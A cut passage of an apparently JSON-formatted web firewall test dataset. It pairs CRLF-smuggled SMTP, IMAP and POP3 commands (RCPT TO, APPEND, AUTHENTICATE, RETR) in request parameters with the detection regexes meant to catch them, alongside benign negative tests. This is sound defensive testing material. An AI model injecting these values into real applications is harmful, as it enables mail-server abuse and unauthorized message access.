)?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP Command EHLO Injection negative test using ehlo typo in text" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aRCPT%20TO%3A%3CPostmaster%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP RCPT TO Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hello%21%20This%20text%20introduces%20a%20typo%20when%20saying%20%22receipt%20to%22%20so%20we%20say%20rcpt%20to%3A%20%3Ccoreruleset.org%3E\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP RCPT TO Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aRCPT%20TO%3A%3CPostmaster%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP VRFY TO Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=S%3A%20220%20foo.com%20Simple%20Mail%20Transfer%20Service%20Ready%0AC%3A%20EHLO%20bar.com%0AS%3A%20250-foo.com%20greets%20bar.com%0AS%3A%20250-8BITMIME%0AS%3A%20250-SIZE%0AS%3A%20250-DSN%0AS%3A%20250%20HELP%0AC%3A%20MAIL%20FROM%3A%3CSmith%40bar.com%3E%0AS%3A%20250%20OK%0AC%3A%20RCPT%20TO%3A%3CJones%40foo.com%3E%0AS%3A%20250%20OK%0AC%3A%20RCPT%20TO%3A%3CGreen%40foo.com%3E%0AS%3A%20550%20No%20such%20user%20here%0AC%3A%20RCPT%20TO%3A%3CBrown%40foo.com%3E%0AS%3A%20250%20OK%0AC%3A%20DATA%0AS%3A%20354%20Start%20mail%20input%3B%20end%20with%20%3CCRLF%3E.%3CCRLF%3E%0AC%3A%20Blah%20blah%20blah...%0AC%3A%20...etc.%20etc.%20etc.%0AC%3A%20.%0AS%3A%20250%20OK%0AC%3A%20QUIT%0AS%3A%20221%20foo.com%20Service%20closing%20transmission%20channel\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP Command Injection Full SMTP dialog negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0D%0AMAIL%20FROM%3A%3CSmith%40bar.com%3E" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "Make sure that log contains matched payload.\nWithout the `capture` action, the log data would include the last\nvalue of `TX.0`. While writing this test, the previous value of `TX.0`\nwas always `user-agent` (set by rule 920451).\nNote that the previous value of `TX.0` depends on the payload of this test.\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0D%0AA003%20APPEND%20saved-messages%20(%5CSeen)%20%7B310%7D%0D%0A%20Date%3A%20Mon%2C%207%20Feb%201994%2021%3A52%3A25%20-0800%20(PST)%0D%0A%20From%3A%20Test%20CRS%20%3Ctest%40coreruleset.org%3E%0D%0A%20Subject%3A%20Appending%0D%0A%20To%3A%20test%40coreruleset.org%0D%0A%20Message-Id%3A%20%3CB27397-0100000%40coreruleset.org%3E%0D%0A%20MIME-Version%3A%201.0%0D%0A%20Content-Type%3A%20TEXT%2FPLAIN%3B%20CHARSET%3DUS-ASCII%0D%0A%20%0D%0A%20Hello%20World%2C%20can%20I%20append%3F\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP APPEND Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=I%20wanted%20to%20append%20something%20%28annoying%29%20%7Bclosed%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP APPEND Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0D%0Aa001%20authenticate%20PLAIN%0D%0A\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP AUTHENTICATE Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=Cannot%20authenticate%20anyways" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP AUTHENTICATE Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0D%0Aa001%20STATUS%20INBOX%20(MESSAGES)\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP STATUS Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=Please%20send%20me%20an%20update%20status%20all%20messages%20are%20being%20denied" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP STATUS Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0D%0Aa001%20uid%20store%20231%3A233%0D%0A\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP UID Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=The%20uid%20is%020not%020working" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:A(?:PPEND (?:[\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)?(?: \\([ \\x5ca-z]+\\))?(?: \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [\\+\\-][0-9]{4}\\\"?)? \\{[0-9]{1,20}\\+?\\}|UTHENTICATE [\\-0-9_a-z]{1,20}\\r\\n)|L(?:SUB (?:[\\\"#\\*\\.-9A-Z_a-z~]+)? (?:[\\\"%&\\*\\.-9A-Z\\x5c_a-z]+)?|ISTRIGHTS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)|S(?:TATUS (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? \\((?:U(?:NSEEN|IDNEXT)|MESSAGES|UIDVALIDITY|RECENT| )+\\)|ETACL (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)? [\\+\\-][ac-eiklpr-twx]+?)|UID (?:COPY|FETCH|STORE) (?:[\\*,0-:]+)?|(?:(?:DELETE|GET)ACL|MYRIGHTS) (?:[\\\"%&\\*\\--9A-Z\\x5c_a-z]+)?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932310", "test_description": "IMAP UID Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aRETR%20123" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 RETR/DELE Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=Let%20me%20retrieve%2010%20of%20those" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 RETR Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=We%20should%20delete%20nine\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 DELE Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0alist%203" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: 